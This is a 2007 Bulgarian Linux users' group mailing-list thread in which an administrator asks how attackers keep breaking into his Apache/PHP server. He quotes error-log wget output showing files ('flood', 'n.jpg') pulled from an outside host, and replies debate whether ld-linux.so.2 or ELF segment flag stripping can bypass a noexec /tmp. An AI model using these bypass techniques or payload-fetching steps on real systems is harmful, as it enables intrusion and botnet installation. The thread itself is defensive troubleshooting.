Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Georgi Chorbadzhiyski
Around 07/12/07 15:29, Marian Marinov scribbled:
 Има доста информация в интернет как можеш да стартираш бинарен файл върху дял 
 който е монтиран noexec. Основната идея е да се 
 използва /lib/ld-linux.so.2 /path/to/binary/file

Това отдавна не работи, от 2.5 нещо си нататък. При файла зареден от
noexec партишън ядрото не позволява паметта в която е зареден да бъде
маркирана като PROT_EXEC (ако си спомням правилно) ефективно това
не дава на динамичния линкер (ld-linux.so.2) да линкне и изпълни
файла.

Разбира се ако имаш някъде интерпретатор като perl, php, bash и
файл написан на някой от тези скриптови езици, можеш да изпълниш
/bin/interpretatora faila, но на партишън с noxec няма начин да
изпълниш компилиран код (освен ако в ядрото няма някоя грешка)

-- 
Georgi Chorbadzhiyski
http://georgi.unixsol.org/
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Tsvetin . Vasilev
Мда 
mount -o remount,noexec,nosuid /tmp
# mount |grep tmp
tmpfs on /dev/shm type tmpfs (rw)
/dev/mapper/vg00-lv_tmp on /tmp type ext3 (rw,noexec,nosuid)
# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped
# cp /bin/ls /tmp/ls_test
# /lib/ld-linux.so.2 /tmp/ls_test 
/tmp/ls_test: error while loading shared libraries: /tmp/ls_test: failed 
to map segment from shared object: Operation not permitted
# 




Georgi Chorbadzhiyski [EMAIL PROTECTED] 
Sent by: [EMAIL PROTECTED]
12.07.2007 16:13
Please respond to
Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org


To
Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org
cc

Subject
Re: [Lug-bg] пробив през апаче и пхп :(






Around 07/12/07 15:29, Marian Marinov scribbled:
 Има доста информация в интернет как можеш да стартираш бинарен файл 
върху дял 
 който е монтиран noexec. Основната идея е да се 
 използва /lib/ld-linux.so.2 /path/to/binary/file

Това отдавна не работи, от 2.5 нещо си нататък. При файла зареден от
noexec партишън ядрото не позволява паметта в която е зареден да бъде
маркирана като PROT_EXEC (ако си спомням правилно) ефективно това
не дава на динамичния линкер (ld-linux.so.2) да линкне и изпълни
файла.

Разбира се ако имаш някъде интерпретатор като perl, php, bash и
файл написан на някой от тези скриптови езици, можеш да изпълниш
/bin/interpretatora faila, но на партишън с noxec няма начин да
изпълниш компилиран код (освен ако в ядрото няма някоя грешка)

-- 
Georgi Chorbadzhiyski
http://georgi.unixsol.org/
___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


Re: [Lug-bg] пробив през апаче и пхп :(

2007-07-12 Thread Marian Marinov
 Summary. When doing this:
/lib/ld-linux.so.2 /path/to/file/on/noexec/fs
The linux-kernel disallows the mmap() of the executable textsegment:
mmap2(0x8048000, 16384, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) 
= -1 EPERM (Operation not permitted)
But when trying it after doing nothing but removing the PF_X-flag from all 
segments:
mmap2(0x8048000, 16384, PROT_READ, MAP_PRIVATE|MAP_FIXED, 3, 0) = 
0x8048000
(The program executes normally after this despite the missing 
PROT_EXEC-flag)
The best way to deal with this would probably be to patch ld.so so it enforces 
the executable-bit by itself.

Аз лично не съм си играл, чак толкова а и не ми се занимава...
Може и да са го поправили, а може и да не са.

Просто като чета това ме навежда на мисълта, че ядрото проверява само 
PROT_EXEC и пропуска изпълнението нататък... Съответно ако в libc няма 
проверка за това, програмата ще се стартира.

Поздрави
  Мариян

 Georgi Chorbadzhiyski [EMAIL PROTECTED]
 Sent by: [EMAIL PROTECTED]
 12.07.2007 16:13
 Please respond to
 Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org


 To
 Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org
 cc

 Subject
 Re: [Lug-bg] пробив през апаче и пхп :(

 Around 07/12/07 15:29, Marian Marinov scribbled:
  Има доста информация в интернет как можеш да стартираш бинарен файл

 върху дял

  който е монтиран noexec. Основната идея е да се
  използва /lib/ld-linux.so.2 /path/to/binary/file

 Това отдавна не работи, от 2.5 нещо си нататък. При файла зареден от
 noexec партишън ядрото не позволява паметта в която е зареден да бъде
 маркирана като PROT_EXEC (ако си спомням правилно) ефективно това
 не дава на динамичния линкер (ld-linux.so.2) да линкне и изпълни
 файла.

 Разбира се ако имаш някъде интерпретатор като perl, php, bash и
 файл написан на някой от тези скриптови езици, можеш да изпълниш
 /bin/interpretatora faila, но на партишън с noxec няма начин да
 изпълниш компилиран код (освен ако в ядрото няма някоя грешка)



___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg


[Lug-bg] пробив през апаче и пхп :(

2007-07-11 Thread deb4o
няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на 
irc bot
все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги 
страртират.
но искам да разбера къде е дупката в апачето.
Apache 2.0.53 и php 4.3.9

Така и не мога да разбера от къде влизат. търсих по логовете но само 
единственно в error log-a на апачето намирам подобни на тези неща:

--00:43:08--  http://private.whitehat.ro/flood
   = `flood'
Resolving private.whitehat.ro... 72.22.77.22
Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 208,412 [text/plain]

0K .. .. .. .. .. 24%   60.12 
KB/s
   50K .. .. .. .. .. 49%  237.64 
KB/s
  100K .. .. .. .. .. 73%   16.05 
KB/s
  150K .. .. .. .. .. 98%   60.06 
KB/s
  200K ...   100%   10.13 
MB/s

00:43:13 (40.79 KB/s) - `flood' saved [208412/208412]

---
--11:39:45--  http://private.whitehat.ro/n.jpg
   = `n.jpg'
Resolving private.whitehat.ro... 72.22.77.22
Connecting to private.whitehat.ro[72.22.77.22]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 261,375 [image/jpeg]

0K .. .. .. .. .. 19%   60.85 
KB/s
   50K .. .. .. .. .. 39%  122.81 
KB/s
  100K .. .. .. .. .. 58%   16.38 
KB/s
  150K .. .. .. .. .. 78%   61.60 
KB/s
  200K .. .. .. .. .. 97%   81.52 
KB/s
  250K . 100%1.02 
MB/s

11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] 

___
Lug-bg mailing list
Lug-bg@linux-bulgaria.org
http://linux-bulgaria.org/mailman/listinfo/lug-bg